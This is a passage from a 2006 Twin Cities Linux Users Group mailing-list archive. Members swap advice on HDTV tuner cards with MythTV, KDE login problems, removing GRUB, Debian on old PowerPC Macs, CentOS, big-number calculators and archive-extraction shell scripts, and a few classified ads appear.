>------------------------------------------------------------------------ > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >tclug-list at mn-linux.org >http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > From markmit at mn.rr.com Thu Mar 9 23:54:48 2006 From: markmit at mn.rr.com (Mark Mitchell) Date: Thu, 9 Mar 2006 23:54:48 -0600 Subject: [tclug-list] Appropriate problem for an installfest? Message-ID: <200603092354.49318.markmit@mn.rr.com> It didn't occur to me to try this, but I thought I'd check with the group for future reference. I've got a machine with (I think) either a bad PS or MB. I was able to get my hands on a PS to test, and it passes. Would an installfest be an appropriate venue to track down a known good slot 478 MB to test my system? Thanks, Mark Mitchell From christophermsmith at gmail.com Fri Mar 10 09:15:56 2006 From: christophermsmith at gmail.com (Chris Smith) Date: Fri, 10 Mar 2006 09:15:56 -0600 Subject: [tclug-list] HDTV Tuner Card Message-ID: <5bab831e0603100715u38e1c014y8a7b6e30cf720996@mail.gmail.com> Has anyone had any luck with Myth or something and an HDTV card? I'm fed up the the Windows MCE and HDTVWonder I've been trying to use. It is running on an AMD64 2500+ with 1 gig of ram and a 250 gig sata drive, which I would think would be plenty, however it is really slow.. changing channels unbearable. I am trying to do fullscreen 720p on a 50 inch plasma, but I would think this would be okay. Should I try myth with this card? Or is the card my problem? Thanks in advance, Chris Smith -------------- next part -------------- An HTML attachment was scrubbed... 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I've already done "dpkg -reconfigure kdm" but, no change. thanks for any suggestions. harv, ai9nl washburn, wi -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060309/dea9abbc/attachment-0001.htm From patrickm at citilink.com Fri Mar 10 11:02:31 2006 From: patrickm at citilink.com (Patrick McCabe) Date: Fri, 10 Mar 2006 11:02:31 -0600 (CST) Subject: [tclug-list] HDTV Tuner Card In-Reply-To: <5bab831e0603100715u38e1c014y8a7b6e30cf720996@mail.gmail.com> References: <5bab831e0603100715u38e1c014y8a7b6e30cf720996@mail.gmail.com> Message-ID: <3245.66.149.16.202.1142010151.squirrel@webmail.hockey.net> > Has anyone had any luck with Myth or something and an HDTV card? I'm > fed up the the Windows MCE and HDTVWonder I've been trying to use. It > is running on an AMD64 2500+ with 1 gig of ram and a 250 gig sata > drive, which I would think would be plenty, however it is really slow.. > changing channels unbearable. I am trying to do fullscreen 720p on a 50 > inch plasma, but I would think this would be okay. Should I try myth > with this card? Or is the card my problem? > > Thanks in advance, > > Chris Smith I am using a pcHDTV HD-3000 and it works well. It's around $175 now I think. Use the DVB drivers. My 42-inch plasma has a VGA input and a 1024x768 native resolution, so setting up X11 was easy. When my DVI-to-HDMI cable shows up I will try that. I am using an NVIDIA 6200 video card; I get some hiccups when watching an HDTV program with the on-screen info overlayed, but I may be able to fix that with some tweaking. I've only had this running for a couple weeks. There is also an Air2PC card that people are using, but I have no experience with it. Patrick McCabe From dniesen at gmail.com Fri Mar 10 10:59:38 2006 From: dniesen at gmail.com (Donovan Niesen) Date: Fri, 10 Mar 2006 10:59:38 -0600 Subject: [tclug-list] lost kde In-Reply-To: <6a470a5f0603090859k7a5feccduc5156fd1ca7f857@mail.gmail.com> References: <6a470a5f0603090859k7a5feccduc5156fd1ca7f857@mail.gmail.com> Message-ID: <47f4d5e70603100859v5df6b722j67e2818a11eaa35b@mail.gmail.com> On 3/9/06, Harv Nelson wrote: > my kde desktop seems to have dissapeared. when I reboot, i keep getting > recursive login screens. I select KDE as the session ... no luck. gnome > seems to work, but I hate that. I'm using kdm as the disply mgr. > > I've already done "dpkg -reconfigure kdm" but, no change. thanks for any > suggestions. > > harv, ai9nl > washburn, wi > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > Anything of note in /var/log/kdm.log? Which distro are you using? You might need to reconfigure the KDE package instead of just the KDM package, but your kdm.log file could point you in the right direction before going that route. -- Donovan Niesen From seehow at iphouse.com Fri Mar 10 11:15:27 2006 From: seehow at iphouse.com (Christopher Howard) Date: Fri, 10 Mar 2006 11:15:27 -0600 Subject: [tclug-list] Debian on old PowerPC Mac Message-ID: <1142010927.1148.8.camel@localhost.localdomain> I have a Performa 5200CD and a Performa 6320CD. The 6320 is faster with biger hard disk and has some type of video capture card in it. The 5200 is a one piece with the built in monitor. I figure move what I can to it. This is a NuBus system. If posible it be nice to watch a VCR or DVD thru the video card, use it as a TV, and then have streaming audio off the net at other times. I know what I need to get Debian onto it, but does any one have knowledge about the video capture card? From patrickm at citilink.com Fri Mar 10 11:28:13 2006 From: patrickm at citilink.com (Patrick McCabe) Date: Fri, 10 Mar 2006 11:28:13 -0600 (CST) Subject: [tclug-list] New to grub In-Reply-To: <3245.66.149.16.202.1142010151.squirrel@webmail.hockey.net> References: <3245.66.149.16.202.1142010151.squirrel@webmail.hockey.net> Message-ID: <1311.66.149.16.202.1142011693.squirrel@webmail.hockey.net> Does grub save the old MBR when it installs itself? I have a friend who installed kubuntu to a second hard drive (windows, of course, on the first) and now wants to pull the second drive off that computer, but the computer won't boot without it. I would like to restore the original MBR and use the windows boot loader to choose the OS. Thanks, Patrick McCabe From ntraxler at mn.rr.com Fri Mar 10 11:44:49 2006 From: ntraxler at mn.rr.com (Nick Traxler) Date: Fri, 10 Mar 2006 11:44:49 -0600 Subject: [tclug-list] HDTV Tuner Card In-Reply-To: <3245.66.149.16.202.1142010151.squirrel@webmail.hockey.net> References: <5bab831e0603100715u38e1c014y8a7b6e30cf720996@mail.gmail.com> <3245.66.149.16.202.1142010151.squirrel@webmail.hockey.net> Message-ID: <4411BB11.8020900@mn.rr.com> I have an HD-3000 too, but I've had some trouble getting it working in Ubuntu. I've been able to view NTSC with my old bunny ears, but can you post some more info about your setup? Specifically, do you use an HD antenna, and which Linux distribution and HD viewer do you run? Thanks for the info, Nick Patrick McCabe wrote: > I am using a pcHDTV HD-3000 and it works well. It's around $175 now I think. > Use the DVB drivers. My 42-inch plasma has a VGA input and a 1024x768 native > resolution, so setting up X11 was easy. When my DVI-to-HDMI cable shows up I > will try that. I am using an NVIDIA 6200 video card; I get some hiccups when > watching an HDTV program with the on-screen info overlayed, but I may be > able to fix that with some tweaking. I've only had this running for a couple > weeks. > > There is also an Air2PC card that people are using, but I have no experience > with it. > > Patrick McCabe From andyzib at gmail.com Fri Mar 10 12:00:39 2006 From: andyzib at gmail.com (Andrew Zbikowski) Date: Fri, 10 Mar 2006 12:00:39 -0600 Subject: [tclug-list] New to grub In-Reply-To: <1311.66.149.16.202.1142011693.squirrel@webmail.hockey.net> References: <3245.66.149.16.202.1142010151.squirrel@webmail.hockey.net> <1311.66.149.16.202.1142011693.squirrel@webmail.hockey.net> Message-ID: Boot from your Windows CD. Run fdisk /mbr. Reboot. No more grub. -- Andrew S. Zbikowski | http://andy.zibnet.us SELECT * FROM users WHERE clue >0; 0 rows returned From rwh at visi.com Fri Mar 10 12:08:05 2006 From: rwh at visi.com (Richard Hoffbeck) Date: Fri, 10 Mar 2006 12:08:05 -0600 Subject: [tclug-list] HDTV Tuner Card In-Reply-To: <4411BB11.8020900@mn.rr.com> References: <5bab831e0603100715u38e1c014y8a7b6e30cf720996@mail.gmail.com> <3245.66.149.16.202.1142010151.squirrel@webmail.hockey.net> <4411BB11.8020900@mn.rr.com> Message-ID: <4411C085.2050207@visi.com> The first one covers Ubuntu/MythTV/HD-3000 while the other two cover just getting MythTV working with Ubuntu. --rick http://www.quietglow.com/docs/ubuntumythtv.html http://patrick.wagstrom.net/tutorials/mythTV64/mythTV64.xml http://hyams.webhop.net/mythtv/myth_ubuntu.html Nick Traxler wrote: > I have an HD-3000 too, but I've had some trouble getting it working in > Ubuntu. I've been able to view NTSC with my old bunny ears, but can you > post some more info about your setup? Specifically, do you use an HD > antenna, and which Linux distribution and HD viewer do you run? > > Thanks for the info, > Nick > > Patrick McCabe wrote: >> I am using a pcHDTV HD-3000 and it works well. It's around $175 now I think. >> Use the DVB drivers. My 42-inch plasma has a VGA input and a 1024x768 native >> resolution, so setting up X11 was easy. When my DVI-to-HDMI cable shows up I >> will try that. I am using an NVIDIA 6200 video card; I get some hiccups when >> watching an HDTV program with the on-screen info overlayed, but I may be >> able to fix that with some tweaking. I've only had this running for a couple >> weeks. >> >> There is also an Air2PC card that people are using, but I have no experience >> with it. >> >> Patrick McCabe > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list From seg at haxxed.com Fri Mar 10 23:59:15 2006 From: seg at haxxed.com (Callum Lerwick) Date: Fri, 10 Mar 2006 23:59:15 -0600 Subject: [tclug-list] Debian on old PowerPC Mac In-Reply-To: <1142010927.1148.8.camel@localhost.localdomain> References: <1142010927.1148.8.camel@localhost.localdomain> Message-ID: <1142056756.2640.33.camel@localhost> On Fri, 2006-03-10 at 11:15 -0600, Christopher Howard wrote: > I have a Performa 5200CD and a Performa 6320CD. The 6320 is faster with > biger hard disk and has some type of video capture card in it. The 5200 > is a one piece with the built in monitor. I figure move what I can to > it. This is a NuBus system. These are terrible machines. They're PPCs kludged onto an '040 motherboard. http://lowendmac.com/tech/x200.shtml ...So I was absolutely astounded when I was able to boot Linux on a 5200: http://nubus-pmac.sourceforge.net/ The kernel booted, but thats all the farther I dared to go. These things are slower than molasses. My high school had a 5200 in each classroom. They were barely faster than the LCIIs that filled the computer labs... I don't think any distribution supports NuBus PPC out of the box. Hell, nothing supports OldWorld anymore. You're deep in hack-it-yourself territory here. Personally I have a 6500/275 (OldWorld PCI) running FC4. I managed this by installing Yellow Dog 3 (last OldWorld supporting version), finding a third party OldWorld compatible 2.6 kernel package, and upgrading via yum... > If posible it be nice to watch a VCR or DVD thru the video card, use it > as a TV, and then have streaming audio off the net at other times. I > know what I need to get Debian onto it, but does any one have knowledge > about the video capture card? There's a Plan B v4l driver, but near as I can tell its pretty bitrotted these days. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 191 bytes Desc: This is a digitally signed message part Url : http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060310/17551c82/attachment.pgp From hick0088 at tc.umn.edu Sat Mar 11 00:26:08 2006 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Sat, 11 Mar 2006 00:26:08 -0600 Subject: [tclug-list] Debian on old PowerPC Mac In-Reply-To: <1142010927.1148.8.camel@localhost.localdomain> References: <1142010927.1148.8.camel@localhost.localdomain> Message-ID: <1142058368.7626.151.camel@localhost> On Fri, 2006-03-10 at 11:15 -0600, Christopher Howard wrote: > I have a Performa 5200CD and a Performa 6320CD. The 6320 is faster with > biger hard disk and has some type of video capture card in it. The 5200 > is a one piece with the built in monitor. I figure move what I can to > it. This is a NuBus system. > > If posible it be nice to watch a VCR or DVD thru the video card, use it > as a TV, and then have streaming audio off the net at other times. I > know what I need to get Debian onto it, but does any one have knowledge > about the video capture card? According to http://www.everymac.com/, the 5200 has a 75 MHz CPU, while the 6320 has a 120 MHz one. They're both limited to 64 MB of RAM maximum. Neither box is going to be very enjoyable to use with Debian. The power supply in my Pentium 133 shorewall box just kicked the bucket the other day, and I must say I'm glad since doing an apt-get was a very slow process--and that box had 128 MB of RAM. Using it to play streaming audio could work okay -- in a previous incarnation, my box was used as an audio player, and functioned adequately. You might be able to use one of them as a TV, but I suspect the video output would be less than stellar. Personally, I can't watch TV on a computer unless it's filtered through a good deinterlacer, and you usually need a few hundred MHz to pull that off with reasonable quality. -- Mike Hicks -------------- next part -------------- A non-text attachment was scrubbed... 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Also, what version of Debian are you running? -- Jay Kline http://www.slushpupie.com/ From seehow at iphouse.com Sat Mar 11 13:18:30 2006 From: seehow at iphouse.com (Christopher Howard) Date: Sat, 11 Mar 2006 13:18:30 -0600 Subject: [tclug-list] Debian on old PowerPC Mac In-Reply-To: <1142056756.2640.33.camel@localhost> References: <1142010927.1148.8.camel@localhost.localdomain> <1142056756.2640.33.camel@localhost> Message-ID: <1142104631.1109.2.camel@localhost.localdomain> There is an unofficial Debian install disk image for the NuBus system that uses the PowerPC Debian archive. Debian does still suport the old world macs. I'll keep looking for info on the video board. If anything it will be a good game machine for some little kids I know. On Fri, 2006-03-10 at 23:59 -0600, Callum Lerwick wrote: > On Fri, 2006-03-10 at 11:15 -0600, Christopher Howard wrote: > > I have a Performa 5200CD and a Performa 6320CD. The 6320 is faster with > > biger hard disk and has some type of video capture card in it. The 5200 > > is a one piece with the built in monitor. I figure move what I can to > > it. This is a NuBus system. > > These are terrible machines. They're PPCs kludged onto an '040 > motherboard. > > http://lowendmac.com/tech/x200.shtml > > ...So I was absolutely astounded when I was able to boot Linux on a > 5200: > > http://nubus-pmac.sourceforge.net/ > > The kernel booted, but thats all the farther I dared to go. These things > are slower than molasses. My high school had a 5200 in each classroom. > They were barely faster than the LCIIs that filled the computer labs... > > I don't think any distribution supports NuBus PPC out of the box. Hell, > nothing supports OldWorld anymore. You're deep in hack-it-yourself > territory here. > > Personally I have a 6500/275 (OldWorld PCI) running FC4. I managed this > by installing Yellow Dog 3 (last OldWorld supporting version), finding a > third party OldWorld compatible 2.6 kernel package, and upgrading via > yum... > > > If posible it be nice to watch a VCR or DVD thru the video card, use it > > as a TV, and then have streaming audio off the net at other times. I > > know what I need to get Debian onto it, but does any one have knowledge > > about the video capture card? > > There's a Plan B v4l driver, but near as I can tell its pretty bitrotted > these days. > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list From webmaster at mn-linux.org Sat Mar 11 18:31:22 2006 From: webmaster at mn-linux.org (TCLUG Classifieds) Date: Sat, 11 Mar 2006 18:31:22 -0600 Subject: [tclug-list] New TCLUG Classified Ad Message-ID: <200603120031.k2C0VMt30951@crusader.real-time.com> New TCLUG Classified Ad Category: Computer Type of Ad: For Sale Subject: CD changer, movies, old games Onkyo dx-c211 6-CD changer - near new condition, includes remote, RCA outputs $30 Software - all are $5 Quake 3 Arena Final Fantasy 8 System Shock 2 Soldier of Fortune Need for Speed Porsche Unleashed Deus Ex DVDs - all are $5 Garden State House of Flying Daggers The Last Samurai X2 (fullscreen version) Face/Off Batman Starship Troopers Devil's Advocate Scary Movie 2 10 Things I Hate About You Man in the Iron Mask Seller Email address: ntraxler at mn dot rr dot com http://www.mn-linux.org/cgi-bin/classifieds/index.cgi From webmaster at mn-linux.org Sat Mar 11 18:38:17 2006 From: webmaster at mn-linux.org (TCLUG Classifieds) Date: Sat, 11 Mar 2006 18:38:17 -0600 Subject: [tclug-list] New TCLUG Classified Ad Message-ID: <200603120038.k2C0cHS32571@crusader.real-time.com> New TCLUG Classified Ad Category: Computer Type of Ad: For Sale Subject: Old SCSI equipment I have 2 of these: Internal Iomega Zip 100 drives, 50 pin SCSI interface, with 2 Zip disks $10 each, $17 for both Plextor 40x CD-ROM reader, 50 pin SCSI interface $12 Seller Email address: ntraxler at mn dot rr dot com http://www.mn-linux.org/cgi-bin/classifieds/index.cgi From niels.gott at gmail.com Sun Mar 12 08:27:21 2006 From: niels.gott at gmail.com (Niels Gott) Date: Sun, 12 Mar 2006 08:27:21 -0600 Subject: [tclug-list] HDTV Tuner Card Message-ID: I'm running Myth with a pcHDTV 3000. Only real issue I've had is not being able to run both analog and digital through the card at the same time, since I have an off-air antenna, but it's plugged into the back of my satelitte receiver. I think I've only got about 256 of memory, as well as a 250 sata, and speed (or lack thereof) has not been a problem. I have no experience with the HDTVWonder card, so I can't help you there, but Myth has been alright. Niels Gott On 3/10/06, tclug-list-request at mn-linux.org wrote: > > > ---------- Forwarded message ---------- > From: "Chris Smith" > To: tclug-list at mn-linux.org > Date: Fri, 10 Mar 2006 09:15:56 -0600 > Subject: [tclug-list] HDTV Tuner Card > Has anyone had any luck with Myth or something and an HDTV card? I'm fed > up the the Windows MCE and HDTVWonder I've been trying to use. It is running > on an AMD64 2500+ with 1 gig of ram and a 250 gig sata drive, which I would > think would be plenty, however it is really slow.. changing channels > unbearable. I am trying to do fullscreen 720p on a 50 inch plasma, but I > would think this would be okay. Should I try myth with this card? Or is the > card my problem? > > Thanks in advance, > > Chris Smith > > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060312/d335c3d0/attachment.htm From wjohnson at mqsoftware.com Mon Mar 13 16:01:24 2006 From: wjohnson at mqsoftware.com (Wayne Johnson) Date: Mon, 13 Mar 2006 16:01:24 -0600 Subject: [tclug-list] Centos Message-ID: <3C05BBBA1B54ED43B1A6827E620EF1CD0351C7@mailservermn.mqsoftware.com> Anyone have any experience with Centos? This is a public version of RedHat's AS4, just without the support. Is it more stable than FC? Wayne Johnson Senior Software Engineer MQSoftware, Inc. 1660 S Highway 100 Minneapolis, MN 55416 (952) 345-8628 From admin at lctn.org Mon Mar 13 16:19:08 2006 From: admin at lctn.org (Raymond Norton) Date: Mon, 13 Mar 2006 16:19:08 -0600 (CST) Subject: [tclug-list] Centos In-Reply-To: <3C05BBBA1B54ED43B1A6827E620EF1CD0351C7@mailservermn.mqsoftware.com> References: <3C05BBBA1B54ED43B1A6827E620EF1CD0351C7@mailservermn.mqsoftware.com> Message-ID: <46681.204.212.34.10.1142288348.squirrel@lctn.org> > Anyone have any experience with Centos? This is a public version of > RedHat's AS4, just without the support. Is it more stable than FC? > I use it a lot, and have found it to be very stable. If you like Request Tracker, they have a five minute install just for their distro. Raymond From j at packetgod.com Mon Mar 13 16:24:49 2006 From: j at packetgod.com (j) Date: Mon, 13 Mar 2006 16:24:49 -0600 Subject: [tclug-list] Centos In-Reply-To: <3C05BBBA1B54ED43B1A6827E620EF1CD0351C7@mailservermn.mqsoftware.com> References: <3C05BBBA1B54ED43B1A6827E620EF1CD0351C7@mailservermn.mqsoftware.com> Message-ID: <20060313222449.GA5787@packetgod.com> I've worked with it quite a bit at home and at work. A large wireless ISP (that shall remain nameless) just migrated to it for all their user provisioning, DHCP, MYSQL, and other needs and it is as stable as can be. Just watch out with the YUM sources you choose, if you choose dag (which you will want to) consider utilizing a command in your repo like: includepkgs=clamav clamav-devel clamav-db unrar And add any additional packages you may want that either arent in the main repo or are not as up to date as you might want. And yes it really is RHEL4.0, anything you can do on RHEL you can do on Centos. One other piece of advice, when talking to vendors always say does your product support RHEL4.0 and not does it support Centos =) --j On Mon, Mar 13, 2006 at 04:01:24PM -0600, Wayne Johnson wrote: >Anyone have any experience with Centos? This is a public version of RedHat's AS4, just without the support. Is it more stable than FC? > >Wayne Johnson >Senior Software Engineer >MQSoftware, Inc. >1660 S Highway 100 >Minneapolis, MN 55416 >(952) 345-8628 > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >tclug-list at mn-linux.org >http://mailman.mn-linux.org/mailman/listinfo/tclug-list From austad at signal15.com Mon Mar 13 16:43:03 2006 From: austad at signal15.com (Jay Austad) Date: Mon, 13 Mar 2006 16:43:03 -0600 Subject: [tclug-list] large number calculator Message-ID: <5565C35F-CCCC-43C6-9413-894EC4E0C021@signal15.com> I need to do some calculations on very large numbers, and bc won't handle it. Does anyone know if a good tool which doesn't really have a limit on the size of numbers that it can deal with? Something preferably free, I only really need to do one calculation to find out the probability of something, but it's fairly complex and has huge numbers in it. ~jay From wilson at visi.com Mon Mar 13 16:57:45 2006 From: wilson at visi.com (Tim Wilson) Date: Mon, 13 Mar 2006 16:57:45 -0600 Subject: [tclug-list] large number calculator In-Reply-To: <5565C35F-CCCC-43C6-9413-894EC4E0C021@signal15.com> References: <5565C35F-CCCC-43C6-9413-894EC4E0C021@signal15.com> Message-ID: On Mar 13, 2006, at 4:43 PM, Jay Austad wrote: > I need to do some calculations on very large numbers, and bc won't > handle it. Does anyone know if a good tool which doesn't really have > a limit on the size of numbers that it can deal with? Something > preferably free, I only really need to do one calculation to find out > the probability of something, but it's fairly complex and has huge > numbers in it. Python handles large ints pretty well. You could just fire up the python interpreter (type 'python' in a shell) and start entering your numbers is regular mathematical notation. -Tim -- Tim Wilson Twin Cities, Minnesota, USA Educational technology guy, Linux and OS X fan, Grad. student, Daddy mailto: wilson at visi.com aim: tis270 blog: http://technosavvy.org -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060313/aa783de5/attachment.htm From florin at iucha.net Mon Mar 13 17:11:42 2006 From: florin at iucha.net (Florin Iucha) Date: Mon, 13 Mar 2006 17:11:42 -0600 Subject: [tclug-list] large number calculator In-Reply-To: <5565C35F-CCCC-43C6-9413-894EC4E0C021@signal15.com> References: <5565C35F-CCCC-43C6-9413-894EC4E0C021@signal15.com> Message-ID: <20060313231142.GJ9440@athena.iucha.org> On Mon, Mar 13, 2006 at 04:43:03PM -0600, Jay Austad wrote: > I need to do some calculations on very large numbers, and bc won't > handle it. Does anyone know if a good tool which doesn't really have > a limit on the size of numbers that it can deal with? Something > preferably free, I only really need to do one calculation to find out > the probability of something, but it's fairly complex and has huge > numbers in it. Pari: http://pari.math.u-bordeaux.fr/ http://www.its.caltech.edu/~dw/maths/PARI.pdf florin -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060313/6c2bab66/attachment.pgp From bhurt at spnz.org Mon Mar 13 17:13:40 2006 From: bhurt at spnz.org (Brian Hurt) Date: Mon, 13 Mar 2006 17:13:40 -0600 (CST) Subject: [tclug-list] large number calculator In-Reply-To: References: <5565C35F-CCCC-43C6-9413-894EC4E0C021@signal15.com> Message-ID: On Mon, 13 Mar 2006, Tim Wilson wrote: > On Mar 13, 2006, at 4:43 PM, Jay Austad wrote: > >> I need to do some calculations on very large numbers, and bc won't >> handle it. Does anyone know if a good tool which doesn't really have >> a limit on the size of numbers that it can deal with? Something >> preferably free, I only really need to do one calculation to find out >> the probability of something, but it's fairly complex and has huge >> numbers in it. > > Python handles large ints pretty well. You could just fire up the python > interpreter (type 'python' in a shell) and start entering your numbers is > regular mathematical notation. Given that bc will handle 2^65536, I'm not sure. bc already does arbitrary precision bigints- if bc doesn't handle it well, I'm not sure what does. Brian From shanson at cruiskeen.com Mon Mar 13 17:13:38 2006 From: shanson at cruiskeen.com (Steve Hanson) Date: Mon, 13 Mar 2006 17:13:38 -0600 Subject: [tclug-list] Centos In-Reply-To: <3C05BBBA1B54ED43B1A6827E620EF1CD0351C7@mailservermn.mqsoftware.com> References: <3C05BBBA1B54ED43B1A6827E620EF1CD0351C7@mailservermn.mqsoftware.com> Message-ID: <4415FCA2.90305@cruiskeen.com> Wayne Johnson wrote: >Anyone have any experience with Centos? This is a public version of RedHat's AS4, just without the support. Is it more stable than FC? > >Wayne Johnson >Senior Software Engineer >MQSoftware, Inc. >1660 S Highway 100 >Minneapolis, MN 55416 >(952) 345-8628 > > > > Can't really go wrong with it. It's essentially just like running AS4 but without the phone support. I use it on a number of servers. Not as much fun on the desktop as Fedora since it's a lot less cutting edge - but no buttload of RPM's to update every morning either. >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >tclug-list at mn-linux.org >http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > From austad at signal15.com Mon Mar 13 17:33:46 2006 From: austad at signal15.com (Jay Austad) Date: Mon, 13 Mar 2006 17:33:46 -0600 Subject: [tclug-list] large number calculator In-Reply-To: <20060313231142.GJ9440@athena.iucha.org> References: <5565C35F-CCCC-43C6-9413-894EC4E0C021@signal15.com> <20060313231142.GJ9440@athena.iucha.org> Message-ID: <011FF5D3-A7EA-44B8-8911-537E057E4163@signal15.com> Pari looks interesting. I'm reading the docs, and it doesn't look like it will handle the size of the numbers I'm dealing with (2^4000000000 and larger). I've used some approximation techniques to get my answer, however, I've tried 3 of them, and they all give me numbers that are way different. I need an exact answer. Eventually, I need a way to do this calculation fast too. Does anyone here have a really good understanding of math and experience with FPGA's? On Mar 13, 2006, at 5:11 PM, Florin Iucha wrote: > On Mon, Mar 13, 2006 at 04:43:03PM -0600, Jay Austad wrote: >> I need to do some calculations on very large numbers, and bc won't >> handle it. Does anyone know if a good tool which doesn't really have >> a limit on the size of numbers that it can deal with? Something >> preferably free, I only really need to do one calculation to find out >> the probability of something, but it's fairly complex and has huge >> numbers in it. > > Pari: > > http://pari.math.u-bordeaux.fr/ > > http://www.its.caltech.edu/~dw/maths/PARI.pdf > > florin > > -- > Don't question authority: they don't know either! > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list From hewhocutsdown at gmail.com Mon Mar 13 17:47:15 2006 From: hewhocutsdown at gmail.com (Jordan Peacock) Date: Mon, 13 Mar 2006 17:47:15 -0600 Subject: [tclug-list] Extracting multiple tar files In-Reply-To: <20060227001515.GA21190@www.ewilts.org> References: <20060226144603.GA9845@www.ewilts.org> <20060227001515.GA21190@www.ewilts.org> Message-ID: I've been trying to expand on my rudimentary scripting. Here's my current attempt: Goal: script will search recursively for files of types .zip, .rar & .tar. Each file will be unpacked in a new directory (of the name of the original archive, in the directory where the archive resides) and if possible, the directories in the archives will not be unpacked (just the files...unrar e as opposed to unrar x) 2 outstanding issues: 1) how to expand my search to three types instead of just one, and carrying out separate commands depending on the filetype. I'm pretty sure if/else is required (as opposed to the for that the current, smaller script uses) 2) Actually modifying the program commands so that it does what is required. (ie. unrar e filename works on the shell, but not in my reworking of Brian Hurt's (thank you!) code, and I'm not sure why. Ed Wilt's contribution can probably be modified to fulfill the search function. find . -name '*.tar' -exec tar xvf {} \; Something like this? find . -name '*.tar' '*.zip' '*.rar' -exec # is there some symbol denoting 'or'? if.... then... #!/bin/bash for i in *.rar; do mkdir `basename $i .rar`.dir cd `basename $i .rar`.dir unrar e ../$i cd .. done # Brian Hurt's original for i in *.tar; do mkdir `basename $i .tar`.dir cd `basename $i .tar`.dir tar xvf ../$i cd .. done From austad at signal15.com Mon Mar 13 18:06:05 2006 From: austad at signal15.com (Jay Austad) Date: Mon, 13 Mar 2006 18:06:05 -0600 Subject: [tclug-list] large number calculator In-Reply-To: <011FF5D3-A7EA-44B8-8911-537E057E4163@signal15.com> References: <5565C35F-CCCC-43C6-9413-894EC4E0C021@signal15.com> <20060313231142.GJ9440@athena.iucha.org> <011FF5D3-A7EA-44B8-8911-537E057E4163@signal15.com> Message-ID: <58F721B7-3D0C-4F03-817C-8045D8307558@signal15.com> Scratch that. It looks like Pari will work as it can handle ints as large as 2^(2^29). I misread it as 2^29. :) On Mar 13, 2006, at 5:33 PM, Jay Austad wrote: > Pari looks interesting. I'm reading the docs, and it doesn't look > like it will handle the size of the numbers I'm dealing with > (2^4000000000 and larger). I've used some approximation techniques > to get my answer, however, I've tried 3 of them, and they all give me > numbers that are way different. I need an exact answer. Eventually, > I need a way to do this calculation fast too. Does anyone here have > a really good understanding of math and experience with FPGA's? > > On Mar 13, 2006, at 5:11 PM, Florin Iucha wrote: > >> On Mon, Mar 13, 2006 at 04:43:03PM -0600, Jay Austad wrote: >>> I need to do some calculations on very large numbers, and bc won't >>> handle it. Does anyone know if a good tool which doesn't really >>> have >>> a limit on the size of numbers that it can deal with? Something >>> preferably free, I only really need to do one calculation to find >>> out >>> the probability of something, but it's fairly complex and has huge >>> numbers in it. >> >> Pari: >> >> http://pari.math.u-bordeaux.fr/ >> >> http://www.its.caltech.edu/~dw/maths/PARI.pdf >> >> florin >> >> -- >> Don't question authority: they don't know either! >> _______________________________________________ >> TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >> tclug-list at mn-linux.org >> http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > From strayf at freeshell.org Mon Mar 13 18:20:47 2006 From: strayf at freeshell.org (Steve Cayford) Date: Mon, 13 Mar 2006 18:20:47 -0600 Subject: [tclug-list] large number calculator In-Reply-To: <011FF5D3-A7EA-44B8-8911-537E057E4163@signal15.com> References: <5565C35F-CCCC-43C6-9413-894EC4E0C021@signal15.com> <20060313231142.GJ9440@athena.iucha.org> <011FF5D3-A7EA-44B8-8911-537E057E4163@signal15.com> Message-ID: <20060314002047.GA17963@callisto-acss.acad.umn.edu> Can you use perl's Math::BigInt and family? -Steve On Mon, Mar 13, 2006 at 05:33:46PM -0600, Jay Austad wrote: > Pari looks interesting. I'm reading the docs, and it doesn't look > like it will handle the size of the numbers I'm dealing with > (2^4000000000 and larger). I've used some approximation techniques > to get my answer, however, I've tried 3 of them, and they all give me > numbers that are way different. I need an exact answer. Eventually, > I need a way to do this calculation fast too. Does anyone here have > a really good understanding of math and experience with FPGA's? > > On Mar 13, 2006, at 5:11 PM, Florin Iucha wrote: > > > On Mon, Mar 13, 2006 at 04:43:03PM -0600, Jay Austad wrote: > >> I need to do some calculations on very large numbers, and bc won't > >> handle it. Does anyone know if a good tool which doesn't really have > >> a limit on the size of numbers that it can deal with? Something > >> preferably free, I only really need to do one calculation to find out > >> the probability of something, but it's fairly complex and has huge > >> numbers in it. > > > > Pari: > > > > http://pari.math.u-bordeaux.fr/ > > > > http://www.its.caltech.edu/~dw/maths/PARI.pdf > > > > florin > > > > -- > > Don't question authority: they don't know either! > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > tclug-list at mn-linux.org > > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > 